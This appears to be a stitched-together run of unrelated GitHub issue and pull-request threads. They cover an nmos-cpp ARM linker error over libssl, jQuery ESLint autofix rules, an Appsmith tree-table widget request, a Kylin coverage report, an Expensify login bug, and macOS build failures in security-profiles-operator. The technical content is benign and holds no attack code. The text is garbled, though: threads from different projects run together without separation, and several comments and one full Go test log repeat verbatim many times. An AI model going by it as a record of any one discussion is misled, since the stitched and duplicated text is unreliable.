/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/usr/bin/arm-buildroot-linux-gnueabihf-g++   -Wall -Wstrict-aliasing -fstrict-aliasing -Wextra -Wno-unused-parameter -pedantic -Wno-long-long -O3   CMakeFiles/nmos-cpp-node.dir/nmos-cpp-node/main.cpp.o CMakeFiles/nmos-cpp-node.dir/nmos-cpp-node/node_implementation.cpp.o  -o nmos-cpp-node  libnmos-cpp_static.a -lresolv -lstdc++fs /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_system.so /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_date_time.so /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_regex.so /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_thread.so -lpthread /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_chrono.so /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_atomic.so libmdns_static.a /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libcpprest.so.2.10 -lpthread -ldns_sd libjson_schema_validator_static.a libnmos_is04_schemas_static.a libnmos_is05_schemas_static.a libnmos_is09_schemas_static.a
/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/lib/gcc/arm-buildroot-linux-gnueabihf/8.4.0/../../../../arm-buildroot-linux-gnueabihf/bin/ld: libnmos-cpp_static.a(ws_listener_impl.cpp.o): undefined reference to symbol 'TLS_server_method@@OPENSSL_1_1_0'
/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/lib/gcc/arm-buildroot-linux-gnueabihf/8.4.0/../../../../arm-buildroot-linux-gnueabihf/bin/ld: /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libssl.so.1.1: error adding symbols: DSO missing from command line
collect2: error: ld returned 1 exit status
make[2]: *** [libs-ext/nmos-cpp/Development/CMakeFiles/nmos-cpp-node.dir/build.make:135: libs-ext/nmos-cpp/Development/nmos-cpp-node] Error 1
make[2]: Leaving directory '/home/monte/Source/nmos-dev/reg-managerBuild/reg-manager_release'
make[1]: *** [CMakeFiles/Makefile2:225: libs-ext/nmos-cpp/Development/CMakeFiles/nmos-cpp-node.dir/all] Error 2
make[1]: Leaving directory '/home/monte/Source/nmos-dev/reg-managerBuild/reg-manager_release'
make: *** [Makefile:153: all] Error 2

Forced added libopenssl path
[ 92%] Linking CXX executable nmos-cpp-node
cd /home/monte/Source/nmos-dev/reg-managerBuild/reg-manager_release/libs-ext/nmos-cpp/Development && /usr/local/bin/cmake -E cmake_link_script CMakeFiles/nmos-cpp-node.dir/link.txt --verbose=1
/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/usr/bin/arm-buildroot-linux-gnueabihf-g++   -Wall -Wstrict-aliasing -fstrict-aliasing -Wextra -Wno-unused-parameter -pedantic -Wno-long-long -O3  -L /home/monte/Source/nmos-dev/os/buildroot/output/build -Wl,-rpath-link=/home/monte/Source/nmos-dev/os/buildroot/output/build/libopenssl-1.1.1g -latomic CMakeFiles/nmos-cpp-node.dir/nmos-cpp-node/main.cpp.o CMakeFiles/nmos-cpp-node.dir/nmos-cpp-node/node_implementation.cpp.o  -o nmos-cpp-node  libnmos-cpp_static.a -lresolv -lstdc++fs /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_system.so /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_date_time.so /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_regex.so /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_thread.so -lpthread /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_chrono.so /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libboost_atomic.so libmdns_static.a /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libcpprest.so.2.10 -lpthread -ldns_sd libjson_schema_validator_static.a libnmos_is04_schemas_static.a libnmos_is05_schemas_static.a libnmos_is09_schemas_static.a
/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/lib/gcc/arm-buildroot-linux-gnueabihf/8.4.0/../../../../arm-buildroot-linux-gnueabihf/bin/ld: libnmos-cpp_static.a(ws_listener_impl.cpp.o): undefined reference to symbol 'TLS_server_method@@OPENSSL_1_1_0'
/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/lib/gcc/arm-buildroot-linux-gnueabihf/8.4.0/../../../../arm-buildroot-linux-gnueabihf/bin/ld: /home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libssl.so.1.1: error adding symbols: DSO missing from command line
collect2: error: ld returned 1 exit status
make[2]: *** [libs-ext/nmos-cpp/Development/CMakeFiles/nmos-cpp-node.dir/build.make:135: libs-ext/nmos-cpp/Development/nmos-cpp-node] Error 1
make[2]: Leaving directory '/home/monte/Source/nmos-dev/reg-managerBuild/reg-manager_release'
make[1]: *** [CMakeFiles/Makefile2:225: libs-ext/nmos-cpp/Development/CMakeFiles/nmos-cpp-node.dir/all] Error 2
make[1]: Leaving directory '/home/monte/Source/nmos-dev/reg-managerBuild/reg-manager_release'
make: *** [Makefile:153: all] Error 2

Thanks again for the help.

We can see that ld actually found the transitive dependency was:

/home/monte/Source/nmos-dev/os/nitrogen7/buildroot/output/host/arm-buildroot-linux-gnueabihf/sysroot/usr/lib/libssl.so.1.1

On the other hand, you tried adding this link path:

/home/monte/Source/nmos-dev/os/buildroot/output/build/libopenssl-1.1.1g

Before working out why the explicit reference to libssl is missing anyway, can you confirm whether adding the first path means the link succeeds?

The link line I get when I build the my node (not the nmos-cpp-node, but my node based on nmos-cpp-node) includes arguments like the following
/home/myhome/project/3rdparty/install-nmos/linux-raspi/lib/libssl.so /home/myhome/project/3rdparty/install-nmos/linux-raspi/lib/libcrypto.a

I believe the libssl.so has the symbol TLS_server_method. The error message from your link seems to imply that a Dynamic Shared Object is missing from the command line. So it seems like the question is how to get these entries on your link line.
I am not sure exactly how these arguments get added to the command line. Part of the magic of cmake it seems. Seems to be mentioned in lib/pkgconfig/openssl.pc.
Your link line had libopenssl-1.1.1g mentioned as part of -rpath-link. I thought -rpath-link was like -L where the argument is a directory containing libraries but not names of libraries to include.  I believe the library name should be listed on the command line like the object files or a '-l' option.

Yes, exactly, what @jwpwh says!

Update
I have it building using Buildroot. 😎 It seems to be a kernel issue on my part. Investigating further.
I've started a github project that will build a custom Linux Kernel, build the file system, and the sony-nmos libraries for the Raspberry Pi 3. I'm not done with the project, but it does build an OS and you can copy the nmos-cpp-node, registry to the target and it runs. I still need to create an install and add documentation.
The project is located: sony-nmos-buildroot
I think this issue can be closed. Also thank you for all of the suggestions and help.
🍻

hi
I had this problem too while compiling for the arm. and finally i solved it by this cmake variable:
-DCMAKE_NO_SYSTEM_FROM_IMPORTED=1
(however it was okay without this cmake variable too while building by my yocto recipe file)

hi I had this problem too while compiling for the arm. and finally i solved it by this cmake variable: -DCMAKE_NO_SYSTEM_FROM_IMPORTED=1
(however it was okay without this cmake variable too while building by my yocto recipe file)

@Muzad , thank you. I don't understand what that define really does, but it seems to work for me on Buildroot to build grpc. See my answer here: [Buildroot: CMake: arch64-none-linux-gnu/include/c++/9.2.1/cstdlib:75:15: fatal error: stdlib.h: No such file or directory while building grpc package](https://stackoverflow.com/a/75065826/4561887)


Implement fixable rules when possible

Some of the rules could be fixed quite easily. For instance, migrating from $.isArray() to Array.isArray is straightforward.
It would be great if such rules could be implemented as fixable, so that ESLint can fix them automatically.
Ed: Adding checklist here so it comes up in the task list:

[x] no-and-self
[ ] no-bind
[ ] no-delegate
[ ] no-die
[x] no-error
[x] no-error-shorthand
[x] no-event-shorthand
[x] no-is-array
[x] no-is-function
[ ] no-live
[ ] no-load
[x] no-noop
[x] no-now
[x] no-on-ready
[x] no-parse-json
[x] no-parse-xml
[x] no-proxy
[x] no-ready-shorthand
[x] no-size
[ ] no-type
[ ] no-unbind
[ ] no-undelegate
[x] no-unique
[x] no-unload-shorthand

Most rules won't be fixable, but that will still be nice for the few ones benefiting from this.

Note that some rules will have subtle changes that mean we can't autofix, for example handling undefined arguments:
$.inArray( myUndefinedVar, 'foo' )
will not throw, whereas myUndefinedVar.indexOf will

Here's a first pass of rules we could probably write fixers for:

[ ] no-and-self
[ ] no-bind
[ ] no-delegate
[ ] no-die
[ ] no-error-shorthand
[ ] no-event-shorthand
[ ] no-is-array
[ ] no-is-function
[ ] no-live
[ ] no-load
[ ] no-noop
[ ] no-now
[ ] no-parse-json
[ ] no-proxy
[ ] no-size
[ ] no-type
[ ] no-unbind
[ ] no-undelegate
[ ] no-unique
[ ] no-unload-shorthand

$.now() can be migrated to Date.now() easily too

Date.now() is es6 and we'd like to maintain compatibility with es5 for now.

Date.now is supported in IE9+: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now#Browser_compatibility
Btw, $.now() is implemented using Date.now() already: https://github.com/jquery/jquery/blob/3.4.1/src/deprecated.js#L82
So using it will not regress browser support.
Btw, it is part of ES 5.1, not of ES 6.

Note that some rules will have subtle changes that mean we can't autofix, for example handling undefined arguments:
$.inArray( myUndefinedVar, 'foo' )
will not throw, whereas myUndefinedVar.indexOf will

Rules that can't be auto-fixed can be implemented as suggestions. The message can be used to explain the limitations of the fix.


Config option to disable imager and return original asset

I have a site where I don't want to generate images locally (in development),  but do in production.
A config variable to control this would be great.

A noop config setting has been added and will be pushed in the next version.


[Feature] Tree Table Widget

Summary
A user would like a tree view of the table as shown where each row can be collapsed / expanded.

https://ant.design/components/table/#header
https://ant.design/components/table/#components-table-demo-tree-data

 Front conversations

Should this be considered in new widget or a functionality of the current table widget?

@somangshu
does the underlying component support it as a prop or a separate component?
Is it easy to configure in the property pane?
My guess is a separate widget is better but as always let's fall back to the above 2 questions ☝

@Nikhil-Nandagopal while other design frameworks will tell us that the feature can be under the same component, I feel that the UX in the Appsmith environment will be very complicated (answer to the second question).
In favour of the above, I would also consider this to be a separate widget!

How would the user choose what to show when the row is expanded? This feels like a table control, but for discovery we can treat it as a new widget.

@somangshu it need not be very complicated. We just need a property to enable horizontal scroll / collapse columns. If horizontal scroll is enabled, all columns that cannot be fit on the screen can be scrolled to be viewed. If Collapse columns is enabled, all columns that do not fit the table width are collapsed into the + option

@somangshu yes horizontal scroll is present. It is used when the user wants to see additional columns that cannot be shown in the table. Expand row also does the same thing, it is used to show additional columns of rows that cannot be shown in the table. Thus the two are simply 2 modes of achieving the same goal via different UX. One where you scroll to see the next column and one where you expand the row to see the next column.

Got it. I was thinking about showing additional information against each row. This should be fairly simple them

note:

New prop: collapse columns - toggle; Table wide setting

Enabled: No horizontal scroll and the rest of the data appears as an accordion when the row data is expanded
Disabled: all additional columns can be viewed by scrolling horizontally

@Tooluloope we need to triage if its possible to do this in the current table widget implementation

From my findings, the Current Table Library doesn't support showing columns as it can only support showing nested rows and not column.

I have a single sql table of items which may optionally have a parent and/or child in the same table. This kind of widget would be great for visually modelling these parent-child relationships without hacking something together with a single table widget.

Will there be some requirement around how to represent a hierarchy in this widget?  Like, the Select widget needs columns named value and label..  Some hierarchies use Integer (non-intelligent) ids while some people like to use intelligent IDs to represent their hierarchy parent-child relationships... I guess this could be some sort of property dropdown... like when you define chart Series?

Thanks for the context @Jonsey4 @pchambless
cc @dilippitchika FYI, something to consider

Another user on Discord requested this feature.

Really interested in this feature. The ability to show a BOM tree is very usefull

This would be a great feature. Other low-coder systems I'm evaluating allow you to drag and drop widgets into the expanded area beneath each row, to build out whatever needed, and the widgets access the same context (table.currentRow) etc.

@zuroma999 thanks for dropping that comment. I'd be interested to learn about what you're building and how you plan on using this widget. Would you be up for a quick chat? You can find a convenient time on my calendar below
https://calendly.com/appsmith-nikhil/30min?back=1&month=2024-01

@Nikhil-Nandagopal, sure, I'll book something on your calendar to discuss.

any updates?

Hey @amirmf, This is not a priority for the team at the moment. We've logged your interest and would like to understand your usecase, can you share more about it?
We will share when we prioritize this.


Sync batch update

Can one of the admins verify this patch?

Pull Request Test Coverage Report for Build 3052

7 of 113 (6.19%) changed or added relevant lines in 17 files are covered.
3 unchanged lines in 3 files lost coverage.
Overall coverage increased (+0.002%) to 23.893%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

query/src/main/java/org/apache/kylin/query/optrule/OLAPAggregateRule.java
0
1
0.0%

query/src/main/java/org/apache/kylin/query/relnode/OLAPUnionRel.java
0
1
0.0%

query/src/main/java/org/apache/kylin/query/optrule/OLAPJoinRule.java
0
2
0.0%

core-common/src/main/java/org/apache/kylin/common/KylinConfigBase.java
0
2
0.0%

query/src/main/java/org/apache/kylin/query/optrule/OLAPWindowRule.java
0
2
0.0%

server-base/src/main/java/org/apache/kylin/rest/security/PasswordPlaceholderConfigurer.java
0
3
0.0%

core-common/src/main/java/org/apache/kylin/common/QueryContext.java
0
3
0.0%

query/src/main/java/org/apache/kylin/query/optrule/OLAPValuesRule.java
0
5
0.0%

query/src/main/java/org/apache/kylin/query/optrule/OLAPFilterRule.java
0
5
0.0%

query/src/main/java/org/apache/kylin/query/relnode/OLAPToEnumerableConverter.java
0
7
0.0%

Files with Coverage Reduction
New Missed Lines
%

query/src/main/java/org/apache/kylin/query/relnode/OLAPProjectRel.java
1
0.0%

server-base/src/main/java/org/apache/kylin/rest/security/PasswordPlaceholderConfigurer.java
1
0.0%

query/src/main/java/org/apache/kylin/query/optrule/OLAPProjectRule.java
1
0.0%

Totals

Change from base Build 3046:
0.002%

Covered Lines:
14351

Relevant Lines:
60064

💛  - Coveralls

retest this please


⚠ Bofrost.lu has degraded performance

In 8c82ab9, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1737 ms

Resolved: Bofrost.lu performance has improved in 547302f after 18 minutes.


Login- The green dot accompanied by 'Link has been resent message', is not displayed

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Action Performed:

Go to http://staging.new.expensify.com/
Enter new email that doesn't have Expensify a/c
Tap on didn't receive a magic code
Toggle off internet
Tap on didn't receive a magic code

Expected Result:
The green dot accompanied by 'Link has been resent message', must be displayed.
Actual Result:
The green dot accompanied by 'Link has been resent message', is not displayed.
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[x] Android / native
[x] Android / Chrome
[ ] iOS / native
[ ] iOS / Safari
[x] MacOS / Chrome / Safari
[x] MacOS / Desktop

Version Number: <IP_ADDRESS>
Reproducible in staging?: y
Reproducible in production?: y
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Notes/Photos/Videos: Any additional supporting documentation
https://github.com/Expensify/App/assets/93399543/2aeb0b29-7d2b-4b87-bd5b-91fe459603dd
Expensify/Expensify Issue URL:
Issue reported by: Applause - Internal Team
Slack conversation:
View all open jobs on GitHub

Not sure if I understand this one -- when does the green dot appear in the Expected behavior scenario? I tried reproing on iOS/Safari (unaffected platform) and it seemed to be the same behavior as the affected platforms, I didn't see a green dot 🤔

Ok in that case this does not seem like a bug. Gonna close for now but this may be reopened in the future.


Parity in Node version between CI and server

Requires #902, I'd wager.

Since the servers now use ≥ v6.2.1, should this be upgraded?

Think it's fine to use the latest 6.x in Travis.


Patch dependent modules under devfile/registry-support

Which area/kind this issue is related to?

/kind task
/area registry
Issue Description

After new v2.2.2 release of devfile/library is made #1477, there should be a version bump of this dependency on devfile/registry-support.
Acceptance Criteria

[ ] Bump github.com/devfile/library to v2.2.2

Removed blocked status as v2.2.2 is released


Avoid duplicating kotlin_module file

The following problem occurred after #352. 😨
Duplicating META-INF/rxbinding-kotlin-compileReleaseKotlin.kotlin_module files
Execution failed for task ':...transformResourcesWithMergeJavaResForProductRelease'.
> com.android.build.api.transform.TransformException: com.android.builder.packaging.DuplicateFileException: Duplicate files copied in APK META-INF/rxbinding-kotlin-compileReleaseKotlin.kotlin_module
        File1: .../build/intermediates/exploded-aar/com.jakewharton.rxbinding/rxbinding-kotlin/0.4.0/jars/classes.jar
        File2: .../build/intermediates/exploded-aar/com.github.JakeWharton.RxBinding/rxbinding-kotlin/93b010afdc/jars/classes.jar

It worked if I used bellow options.
https://blog.jetbrains.com/kotlin/2015/09/kotlin-m13-is-out/
New layout of .class files for top-level declarations
in Gradle it’s project name + build task name, to customize
Another way is changing module name such as rxbinding2-kotlin.

Cool! Thanks for finding these problems. We're getting close to be able to release.

You're welcome. I am looking forward to it!

This property no longer exists in the kotlin gradle plugin FYI


fix - builds for darwin

What type of PR is this?
The darwin builds are fixed.
/kind bug
What this PR does / why we need it:
The osx builds were broken and this fixes it.
Which issue(s) this PR fixes:
Fixes #182
Special notes for your reviewer:
The containers/common v0.32.0 specifically addressed osx build failures.
Does this PR introduce a user-facing change?
NONE
NONE

@saschagrunert  I was able to move forward. But still, some tests are failing.
make test-unit
go test -ldflags '-X sigs.k8s.io/security-profiles-operator/internal/pkg/version.buildDate='2021-01-14T01:08:39Z' -X sigs.k8s.io/security-profiles-operator/internal/pkg/version.gitCommit=272d5e37d8def4c16a53fe228f986291f2bc2e3b -X sigs.k8s.io/security-profiles-operator/internal/pkg/version.gitTreeState=clean -X sigs.k8s.io/security-profiles-operator/internal/pkg/version.version=0.3.0-dev' -v -test.coverprofile=build/coverage.out ./internal/...
?   	sigs.k8s.io/security-profiles-operator/internal/pkg/config	[no test files]
=== RUN   TestReconcile
=== RUN   TestReconcile/ProfileNotFound
--- FAIL: TestReconcile (0.00s)
    --- FAIL: TestReconcile/ProfileNotFound (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
	panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x1e396d5]

goroutine 25 [running]:
testing.tRunner.func1.1(0x1f28740, 0x2a4fb30)
	/usr/local/Cellar/go/1.15.6/libexec/src/testing/testing.go:1072 +0x30d
testing.tRunner.func1(0xc0003a2300)
	/usr/local/Cellar/go/1.15.6/libexec/src/testing/testing.go:1075 +0x41a
panic(0x1f28740, 0x2a4fb30)
	/usr/local/Cellar/go/1.15.6/libexec/src/runtime/panic.go:969 +0x1b9
sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/profile.(*Reconciler).Reconcile(0xc00015a8c0, 0x208f8f8, 0xe, 0x208dbc8, 0xc, 0x5a7c63f0fa00, 0x0, 0x0, 0x0)
	/Users/naveen/go/src/github.com/naveensrinivasan/security-profiles-operator/internal/pkg/controllers/profile/profile.go:166 +0x435
sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/profile.TestReconcile.func2(0xc0003a2300)
	/Users/naveen/go/src/github.com/naveensrinivasan/security-profiles-operator/internal/pkg/controllers/profile/profile_test.go:96 +0x6b
testing.tRunner(0xc0003a2300, 0xc0003da9e0)
	/usr/local/Cellar/go/1.15.6/libexec/src/testing/testing.go:1123 +0xef
created by testing.(*T).Run
	/usr/local/Cellar/go/1.15.6/libexec/src/testing/testing.go:1168 +0x2b3
FAIL	sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/profile	0.600s
?   	sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/selinuxpolicy	[no test files]
=== RUN   Test_getEffectiveSPOd
=== RUN   Test_getEffectiveSPOd/Should_correctly_set_the_image
=== RUN   Test_getEffectiveSPOd/Should_correctly_set_the_namespace
--- PASS: Test_getEffectiveSPOd (0.01s)
    --- PASS: Test_getEffectiveSPOd/Should_correctly_set_the_image (0.01s)
    --- PASS: Test_getEffectiveSPOd/Should_correctly_set_the_namespace (0.00s)
PASS
coverage: 16.7% of statements
ok  	sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/spod	0.323s	coverage: 16.7% of statements
?   	sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/spod/bindata	[no test files]
=== RUN   TestVersionText
--- PASS: TestVersionText (0.00s)
=== RUN   TestVersionJSON
--- PASS: TestVersionJSON (0.00s)
PASS
coverage: 93.8% of statements
ok  	sigs.k8s.io/security-profiles-operator/internal/pkg/version	0.150s	coverage: 93.8% of statements
FAIL
make: *** [test-unit] Error 1

@saschagrunert  I was able to move forward. But still, some tests are failing.
make test-unit
go test -ldflags '-X sigs.k8s.io/security-profiles-operator/internal/pkg/version.buildDate='2021-01-14T01:08:39Z' -X sigs.k8s.io/security-profiles-operator/internal/pkg/version.gitCommit=272d5e37d8def4c16a53fe228f986291f2bc2e3b -X sigs.k8s.io/security-profiles-operator/internal/pkg/version.gitTreeState=clean -X sigs.k8s.io/security-profiles-operator/internal/pkg/version.version=0.3.0-dev' -v -test.coverprofile=build/coverage.out ./internal/...
?   	sigs.k8s.io/security-profiles-operator/internal/pkg/config	[no test files]
=== RUN   TestReconcile
=== RUN   TestReconcile/ProfileNotFound
--- FAIL: TestReconcile (0.00s)
    --- FAIL: TestReconcile/ProfileNotFound (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
	panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x1e396d5]

goroutine 25 [running]:
testing.tRunner.func1.1(0x1f28740, 0x2a4fb30)
	/usr/local/Cellar/go/1.15.6/libexec/src/testing/testing.go:1072 +0x30d
testing.tRunner.func1(0xc0003a2300)
	/usr/local/Cellar/go/1.15.6/libexec/src/testing/testing.go:1075 +0x41a
panic(0x1f28740, 0x2a4fb30)
	/usr/local/Cellar/go/1.15.6/libexec/src/runtime/panic.go:969 +0x1b9
sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/profile.(*Reconciler).Reconcile(0xc00015a8c0, 0x208f8f8, 0xe, 0x208dbc8, 0xc, 0x5a7c63f0fa00, 0x0, 0x0, 0x0)
	/Users/naveen/go/src/github.com/naveensrinivasan/security-profiles-operator/internal/pkg/controllers/profile/profile.go:166 +0x435
sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/profile.TestReconcile.func2(0xc0003a2300)
	/Users/naveen/go/src/github.com/naveensrinivasan/security-profiles-operator/internal/pkg/controllers/profile/profile_test.go:96 +0x6b
testing.tRunner(0xc0003a2300, 0xc0003da9e0)
	/usr/local/Cellar/go/1.15.6/libexec/src/testing/testing.go:1123 +0xef
created by testing.(*T).Run
	/usr/local/Cellar/go/1.15.6/libexec/src/testing/testing.go:1168 +0x2b3
FAIL	sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/profile	0.600s
?   	sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/selinuxpolicy	[no test files]
=== RUN   Test_getEffectiveSPOd
=== RUN   Test_getEffectiveSPOd/Should_correctly_set_the_image
=== RUN   Test_getEffectiveSPOd/Should_correctly_set_the_namespace
--- PASS: Test_getEffectiveSPOd (0.01s)
    --- PASS: Test_getEffectiveSPOd/Should_correctly_set_the_image (0.01s)
    --- PASS: Test_getEffectiveSPOd/Should_correctly_set_the_namespace (0.00s)
PASS
coverage: 16.7% of statements
ok  	sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/spod	0.323s	coverage: 16.7% of statements
?   	sigs.k8s.io/security-profiles-operator/internal/pkg/controllers/spod/bindata	[no test files]
=== RUN   TestVersionText
--- PASS: TestVersionText (0.00s)
=== RUN   TestVersionJSON
--- PASS: TestVersionJSON (0.00s)
PASS
coverage: 93.8% of statements
ok  	sigs.k8s.io/security-profiles-operator/internal/pkg/version	0.150s	coverage: 93.8% of statements
FAIL
make: *** [test-unit] Error 1

/ok-to-test
@naveensrinivasan usually there should no segmentation fault, but I also do not expect that the operator works on macOS at all. macOS has no support for seccomp, right?

/ok-to-test
@naveensrinivasan usually there should no segmentation fault, but I also do not expect that the operator works on macOS at all. macOS has no support for seccomp, right?

/ok-to-test
@naveensrinivasan usually there should no segmentation fault, but I also do not expect that the operator works on macOS at all. macOS has no support for seccomp, right?

@saschagrunert  Yes, I don't expect it to work on macos. If I am not wrong some of the tests shouldn't fail even on macos.

/ok-to-test
@naveensrinivasan usually there should no segmentation fault, but I also do not expect that the operator works on macOS at all. macOS has no support for seccomp, right?

@saschagrunert  Yes, I don't expect it to work on macos. If I am not wrong some of the tests shouldn't fail even on macos.

@naveensrinivasan the issue here is that seccomp.IsSupported is always returning false. I made a few changes on a separate PR that should change that.
Now to get this to work in Darwin you might need to:

skip TestReconcile if !seccomp.IsSupported
remove seccomp tag when in Darwin

@naveensrinivasan the issue here is that seccomp.IsSupported is always returning false. I made a few changes on a separate PR that should change that.
Now to get this to work in Darwin you might need to:

skip TestReconcile if !seccomp.IsSupported
remove seccomp tag when in Darwin

@naveensrinivasan the issue here is that seccomp.IsSupported is always returning false. I made a few changes on a separate PR that should change that.
Now to get this to work in Darwin you might need to:

skip TestReconcile if !seccomp.IsSupported
remove seccomp tag when in Darwin

@pjbgf I fixed the test and now it is working.

@naveensrinivasan the issue here is that seccomp.IsSupported is always returning false. I made a few changes on a separate PR that should change that.
Now to get this to work in Darwin you might need to:

skip TestReconcile if !seccomp.IsSupported
remove seccomp tag when in Darwin

@pjbgf I fixed the test and now it is working.

/test pull-security-profiles-operator-verify

/test pull-security-profiles-operator-verify

@naveensrinivasan the issue here is that seccomp.IsSupported is always returning false. I made a few changes on a separate PR that should change that.
Now to get this to work in Darwin you might need to:

skip TestReconcile if !seccomp.IsSupported
remove seccomp tag when in Darwin

@pjbgf Thanks, I was able to fix the issues and also included a GitHub pipeline to run checks against macOS. I tried enabling e2e tests on GitHub Pipeline but it failed because macOS does not have docker installed in it.
Let me know if there is anything else.

@naveensrinivasan the issue here is that seccomp.IsSupported is always returning false. I made a few changes on a separate PR that should change that.
Now to get this to work in Darwin you might need to:

skip TestReconcile if !seccomp.IsSupported
remove seccomp tag when in Darwin

@pjbgf Thanks, I was able to fix the issues and also included a GitHub pipeline to run checks against macOS. I tried enabling e2e tests on GitHub Pipeline but it failed because macOS does not have docker installed in it.
Let me know if there is anything else.

@naveensrinivasan Maybe I'm missing something, but if Seccomp is not supported at all in MacOS... why are you trying to build for that? They also don't support SELinux. It seems to me like this operator will be unusable in that architecture.

@naveensrinivasan Maybe I'm missing something, but if Seccomp is not supported at all in MacOS... why are you trying to build for that? They also don't support SELinux. It seems to me like this operator will be unusable in that architecture.

@naveensrinivasan Maybe I'm missing something, but if Seccomp is not supported at all in MacOS... why are you trying to build for that? They also don't support SELinux. It seems to me like this operator will be unusable in that architecture.

@JAORMX I agree that Seccomp and SELinux are not supported on OSX. The reason I am trying to build on OSX is to make contributions to this repository from non-Linux OS.
Lots of engineers including me use OSX as the main dev box and it makes it harder to switch over to Linux to contribute to this repository. For example, none of the k8s operators can directly run on osx but the contributors are not contrived to a single OS.
The goal is to encourage devs to contribute to this repository also provide a comprehensive contributing guide similar to this https://github.com/kubernetes-sigs/kubebuilder/blob/master/CONTRIBUTING.md#what-to-do-before-submitting-a-pull-request , so it clearly communicates what can run locally and how can it be tested (unit and e2e).
Hope this answers your questions, would be more than happy to discuss if you have other thoughts 😄

@naveensrinivasan Maybe I'm missing something, but if Seccomp is not supported at all in MacOS... why are you trying to build for that? They also don't support SELinux. It seems to me like this operator will be unusable in that architecture.

@JAORMX I agree that Seccomp and SELinux are not supported on OSX. The reason I am trying to build on OSX is to make contributions to this repository from non-Linux OS.
Lots of engineers including me use OSX as the main dev box and it makes it harder to switch over to Linux to contribute to this repository. For example, none of the k8s operators can directly run on osx but the contributors are not contrived to a single OS.
The goal is to encourage devs to contribute to this repository also provide a comprehensive contributing guide similar to this https://github.com/kubernetes-sigs/kubebuilder/blob/master/CONTRIBUTING.md#what-to-do-before-submitting-a-pull-request , so it clearly communicates what can run locally and how can it be tested (unit and e2e).
Hope this answers your questions, would be more than happy to discuss if you have other thoughts 😄

@naveensrinivasan Maybe I'm missing something, but if Seccomp is not supported at all in MacOS... why are you trying to build for that? They also don't support SELinux. It seems to me like this operator will be unusable in that architecture.

@JAORMX I agree that Seccomp and SELinux are not supported on OSX. The reason I am trying to build on OSX is to make contributions to this repository from non-Linux OS.
Lots of engineers including me use OSX as the main dev box and it makes it harder to switch over to Linux to contribute to this repository. For example, none of the k8s operators can directly run on osx but the contributors are not contrived to a single OS.
The goal is to encourage devs to contribute to this repository also provide a comprehensive contributing guide similar to this https://github.com/kubernetes-sigs/kubebuilder/blob/master/CONTRIBUTING.md#what-to-do-before-submitting-a-pull-request , so it clearly communicates what can run locally and how can it be tested (unit and e2e).
Hope this answers your questions, would be more than happy to discuss if you have other thoughts smile

oh! I understand now, the intent is not to have the operator run on OSX, but to just be able to build it. Got it! Thanks for the explanation.
LGTM

@naveensrinivasan Maybe I'm missing something, but if Seccomp is not supported at all in MacOS... why are you trying to build for that? They also don't support SELinux. It seems to me like this operator will be unusable in that architecture.

